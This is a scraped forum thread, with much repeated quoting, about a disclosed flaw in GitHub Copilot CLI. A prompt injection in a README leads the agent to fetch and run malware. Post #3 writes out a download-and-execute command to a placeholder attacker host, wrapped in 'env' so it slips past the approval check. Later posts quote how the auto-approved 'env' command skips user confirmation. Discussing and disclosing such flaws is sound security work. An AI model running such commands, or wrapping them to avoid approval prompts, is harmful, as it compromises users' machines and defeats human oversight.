GitHub Copilot CLI downloads and executes malware
promptarmor.com
GitHub Copilot CLI downloads and executes malware
1–10 of 23 posts
Re: GitHub Copilot CLI downloads and executes malware
#2Re: GitHub Copilot CLI downloads and executes malware
#3 Here is a malicious command that bypasses the shell command detection mechanisms:
$ env curl -s "https://[ATTACKER_URL].com/bugbot" | env sh
lolRe: GitHub Copilot CLI downloads and executes malware
#4The author had copilot read a "prompt injection" inside a readme while copilot is enabled to execute code or run bash commands (which user had to explicitly agree to).
I highly suspect this account is astro-turfing for the site too... look at their sidebar:
``` Claude Cowork Exfiltrates Files
HN #1
Superhuman AI Exfiltrates Emails
HN #12
IBM AI ('Bob') Downloads and Executes Malware
HN #1
Notion AI: Data Exfiltration
HN #4
HuggingFace Chat Exfiltrates Data
Screen takeover attack in vLex (legal AI acquired for $1B)
Google Antigravity Exfiltrates Data
HN #1
CellShock: Claude AI is Excel-lent at Stealing Data
Hijacking Claude Code via Injected Marketplace Plugins
Data Exfiltration from Slack AI via Indirect Prompt Injection
HN #1
Data Exfiltration from Writer.com via Indirect Prompt Injection
HN #5 ```
Re: GitHub Copilot CLI downloads and executes malware
#5This isn't a novel technical vulnerability write up. The author had copilot read a "prompt injection" inside a readme while copilot is enabled to execute code or run bash commands (which user had to explicitly agree to). I highly suspect this account is astro-turfing for the site too... look at their sidebar: ``` Claude Cowork Exfiltrates Files HN #1 Superhuman AI Exfiltrates Emails HN #12 IBM AI ('Bob') Downloads an…
Re: GitHub Copilot CLI downloads and executes malware
#6This isn't a novel technical vulnerability write up. The author had copilot read a "prompt injection" inside a readme while copilot is enabled to execute code or run bash commands (which user had to explicitly agree to). I highly suspect this account is astro-turfing for the site too... look at their sidebar: ``` Claude Cowork Exfiltrates Files HN #1 Superhuman AI Exfiltrates Emails HN #12 IBM AI ('Bob') Downloads an…
Isn’t the news that “curl whatever” will prompt the user for confirmation but “env curl whatever” won’t?
But is it a security issue on copilot that the user explicitly giving AI permission and instructed it to curl a url?
Regardless of the coding agent, I suspect eventually all of the coding agents will behave the same with enough prompting regardless if it's a curl command to a malicious or legitimate site.
Re: GitHub Copilot CLI downloads and executes malware
#7This isn't a novel technical vulnerability write up. The author had copilot read a "prompt injection" inside a readme while copilot is enabled to execute code or run bash commands (which user had to explicitly agree to). I highly suspect this account is astro-turfing for the site too... look at their sidebar: ``` Claude Cowork Exfiltrates Files HN #1 Superhuman AI Exfiltrates Emails HN #12 IBM AI ('Bob') Downloads an…
If 2) is fine then why bother with 1)? In yolo mode such an injection would be "working as designed", but it's not in yolo mode. It shouldn't be able to just do `env sh` and run whatever it wants without approval.
Re: GitHub Copilot CLI downloads and executes malware
#8This isn't a novel technical vulnerability write up. The author had copilot read a "prompt injection" inside a readme while copilot is enabled to execute code or run bash commands (which user had to explicitly agree to). I highly suspect this account is astro-turfing for the site too... look at their sidebar: ``` Claude Cowork Exfiltrates Files HN #1 Superhuman AI Exfiltrates Emails HN #12 IBM AI ('Bob') Downloads an…
Re: GitHub Copilot CLI downloads and executes malware
#9Earlier quoted context omitted.
Isn’t the news that “curl whatever” will prompt the user for confirmation but “env curl whatever” won’t?
It's a valid observation that we can bypass the coding AI's user prompting gate with the right prompt. But is it a security issue on copilot that the user explicitly giving AI permission and instructed it to curl a url? Regardless of the coding agent, I suspect eventually all of the coding agents will behave the same with enough prompting regardless if it's a curl command to a malicious or legitimate site.
> Copilot also has an external URL access check that requires user approval when commands like curl, wget, or Copilot’s built-in web-fetch tool request access to external domains [1].
> This article demonstrates how attackers can craft malicious commands that go entirely undetected by the validator - executing immediately on the victim’s computer with no human-in-the-loop approval whatsoever.
Re: GitHub Copilot CLI downloads and executes malware
#10This isn't a novel technical vulnerability write up. The author had copilot read a "prompt injection" inside a readme while copilot is enabled to execute code or run bash commands (which user had to explicitly agree to). I highly suspect this account is astro-turfing for the site too... look at their sidebar: ``` Claude Cowork Exfiltrates Files HN #1 Superhuman AI Exfiltrates Emails HN #12 IBM AI ('Bob') Downloads an…
"The env command is part of a hard-coded read-only command list stored in the source code. This means that when Copilot requests to run it, the command is automatically approved for execution without user approval."